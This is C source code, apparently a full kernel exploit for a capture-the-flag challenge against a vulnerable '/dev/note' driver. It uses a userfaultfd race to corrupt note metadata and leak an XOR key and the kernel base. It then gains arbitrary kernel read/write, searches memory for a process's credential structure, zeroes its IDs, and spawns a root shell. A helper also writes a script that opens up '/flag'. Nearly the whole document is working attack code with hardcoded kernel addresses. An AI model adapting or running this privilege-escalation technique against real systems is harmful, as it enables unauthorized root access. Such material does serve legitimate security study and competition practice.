1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306
| #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <pthread.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/user.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <ctype.h> #include <stdint.h> #include <stddef.h> #include <sys/prctl.h> #include <poll.h> #include <linux/userfaultfd.h> #define DB_OFFSET(idx) ((void*)(&(((struct user*)0)->u_debugreg[idx]))) #define CPU_ENTRY_ARAE 0xfffffe0000000000 #define DB_STACK_ADDR 0xfffffe0000010f30 #define SECONDARY_STARTUP_64 0xffff88800009d000
void err_msg(char *msg) { printf("\033[31m\033[1m[!] %s \033[0m\n",msg); exit(0); } void output_msg(char *msg) { printf("\033[34m\033[1m[+] %s \033[0m\n",msg); } void print_addr(char *msg, size_t value) { printf("\033[35m\033[1m[*] %s == %p\033[0m\n",msg,(size_t *)value); }
void bind_core(int core) { cpu_set_t cpu_set;
CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set); output_msg("Process binded to core"); }
void print_binary(void *addr, int len) { size_t *buf64 = (size_t *) addr; char *buf8 = (char *) addr; for (int i = 0; i < len / 8; i += 2) { printf(" %04x", i * 8); for (int j = 0; j < 2; j++) { i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" "); } printf(" "); for (int j = 0; j < 16 && j + i * 8 < len; j++) { printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.'); } puts(""); } }
void register_userfaultfd(pthread_t *monitor_thread, void *addr, unsigned long len, void *(*handler)(void*)) { long uffd; struct uffdio_api uffdio_api; struct uffdio_register uffdio_register; int s;
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); if (uffd == -1) { err_msg("userfaultfd"); }
uffdio_api.api = UFFD_API; uffdio_api.features = 0; if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) { err_msg("ioctl-UFFDIO_API"); }
uffdio_register.range.start = (unsigned long) addr; uffdio_register.range.len = len; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) { err_msg("ioctl-UFFDIO_REGISTER"); }
s = pthread_create(monitor_thread, NULL, handler, (void *) uffd); if (s != 0) { err_msg("pthread_create"); } }
void register_userfaultfd_for_thread_stucking(pthread_t *monitor_thread, void *buf, unsigned long len, void *(*handler)(void*)) { register_userfaultfd(monitor_thread, buf, len, handler); }
int note_fd;
struct note_req{ uint8_t idx; size_t size; char *content; };
void input_data(int idx, size_t size, char *content){ struct note_req req = {.idx = idx, .size = size, .content = content}; ioctl(note_fd, 0xFFFFFF00, &req); }
void update_data(int idx, size_t size, char *content){ struct note_req req = {.idx = idx, .size = size, .content = content}; ioctl(note_fd, 0xFFFFFF01, &req); }
void read_data(int idx, size_t size, char *content){ struct note_req req = {.idx = idx, .size = size, .content = content}; ioctl(note_fd, 0xFFFFFF02, &req); }
void delete_data(){ struct note_req req; ioctl(note_fd, 0xFFFFFF03, &req); }
char temp_page_for_stuck[0x1000]; void *leak_func_handler(void *args){ struct uffd_msg msg; int fault_cnt = 0; long uffd;
struct uffdio_copy uffdio_copy; ssize_t nread;
uffd = (long) args;
for (;;) { struct pollfd pollfd; int nready; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1, -1);
if (nready == -1) { err_msg("poll"); } nread = read(uffd, &msg, sizeof(msg));
if (nread == 0) { err_msg("EOF on userfaultfd!\n"); }
if (nread == -1) { err_msg("read"); }
if (msg.event != UFFD_EVENT_PAGEFAULT) { err_msg("Unexpected event on userfaultfd\n"); }
printf("hello hijack you!\n"); char buf[0x100]; delete_data(); input_data(0, 0x0, buf); input_data(1, 0x0, buf); temp_page_for_stuck[0] = 0xf0;
uffdio_copy.src = (unsigned long long) temp_page_for_stuck; uffdio_copy.dst = (unsigned long long) msg.arg.pagefault.address & ~(0x1000 - 1); uffdio_copy.len = 0x1000; uffdio_copy.mode = 0; uffdio_copy.copy = 0; if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) { err_msg("ioctl-UFFDIO_COPY"); }
return NULL; } }
#define root_script_path "/home/note/get_flag" char* instruction = "#!/bin/sh\nchmod 777 /flag"; void get_flag() { int root_script_fd = open(root_script_path, O_RDWR | O_CREAT, 0777); if(root_script_fd < 0) err_msg("fail to create " root_script_path); write(root_script_fd, instruction, 0x1a); close(root_script_fd); system("chmod 777 " root_script_path); system("echo '\xff\xff\xff\xff' > /home/note/fake"); system("chmod +x /home/note/fake"); system("/home/note/fake"); system("cat /flag"); }
int pipe_fd[2]; pthread_t uffd_leak; size_t page_offset_base; size_t kcanary, kcanary_addr, kstack_addr; size_t search_addr = 0xffff888000000000; size_t init_cred = 0xffffffff82a4cbf8; size_t commit_creds = 0xffffffff810bb5b0; size_t kernel_base = 0xffffffff81000000, kernel_offset; size_t pop_rdi_ret = 0xffffffff81002c9d; size_t modprobe_path = 0xffffffff8205e0e0; size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff82000ed0; int main() { char buf[0x1000]; char cred_info[0x100]; size_t real_cred, cred; size_t key, offset_addr;
note_fd = open("/dev/note",O_RDONLY); if(note_fd < 0) err_msg("Fail open device...");
char *leak_page = mmap(NULL, PAGE_SIZE * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); register_userfaultfd_for_thread_stucking(&uffd_leak, leak_page + PAGE_SIZE, PAGE_SIZE, leak_func_handler); memset(buf, 0, 0x100); input_data(0, 0x10, buf); update_data(0, 0xf0, leak_page + PAGE_SIZE - 8); output_msg("overwrite note1 size and leak key"); read_data(1, 0xf0, buf); print_binary(buf, 0x20); key = *(size_t *)&buf[0]; page_offset_base = key & 0xfffffffff0000000; print_addr("key", key); print_addr("page_offset_base", page_offset_base);
output_msg("apply note2 to ar & aw"); memset(buf, 0, 0x100); input_data(2, 0x20, buf);
memset(buf, 0, 0x100); *(size_t *)&buf[0] = key ^ key; *(size_t *)&buf[8] = 0x20 ^ key; *(size_t *)&buf[0x10] = (0x9d000) ^ key; update_data(1, 0x20, buf); output_msg("leak kernel_base"); read_data(2, 0x20, buf); print_binary(buf, 0x20); kernel_offset = (*(size_t *)&buf[0] ^ key) - 0x30 - kernel_base; print_addr("kernel_offset", kernel_offset);
if(prctl(PR_SET_NAME, "try2findmehenry!")) err_msg("prctl set name failed"); memset(buf, 0, 0x100); *(size_t *)&buf[0] = 0 ^ key; *(size_t *)&buf[8] = 0xff ^ key; output_msg("it's time to find cred, please wait patiently"); unsigned long* idx; for(size_t off = 0; off < (0xffffc80000000000 - 0xffff888000000000); off += 0x100){ *(size_t *)&buf[0x10] = off ^ key; update_data(1, 0x20, buf); read_data(2, 0xff, cred_info); idx = (unsigned long*)memmem(cred_info, 0x100, "try2findmehenry", 14); if(idx){ cred = idx[-1]; real_cred = idx[-2]; printf("it's here %s\n", (char*)idx); if(cred < 0xfff0000000000000 || real_cred < 0xfff0000000000000) continue; output_msg("found real_cred & cred addr"); print_addr("cred", cred); print_addr("real_cred", real_cred); break; } }
if(cred < 0xfff0000000000000 || real_cred < 0xfff0000000000000) err_msg("Fail to find cred, please try again!");
memset(buf, 0, 0x100); *(size_t *)&buf[0] = 0 ^ key; *(size_t *)&buf[8] = 0x28 ^ key; *(size_t *)&buf[16] = (real_cred + 4 - page_offset_base) ^ key; update_data(1, 0x20, buf); memset(cred_info, 0, 0x28); update_data(2, 0x28, cred_info);
if(getuid() == 0){ printf("[+] you are great man!"); system("/bin/sh"); } return 0; }
|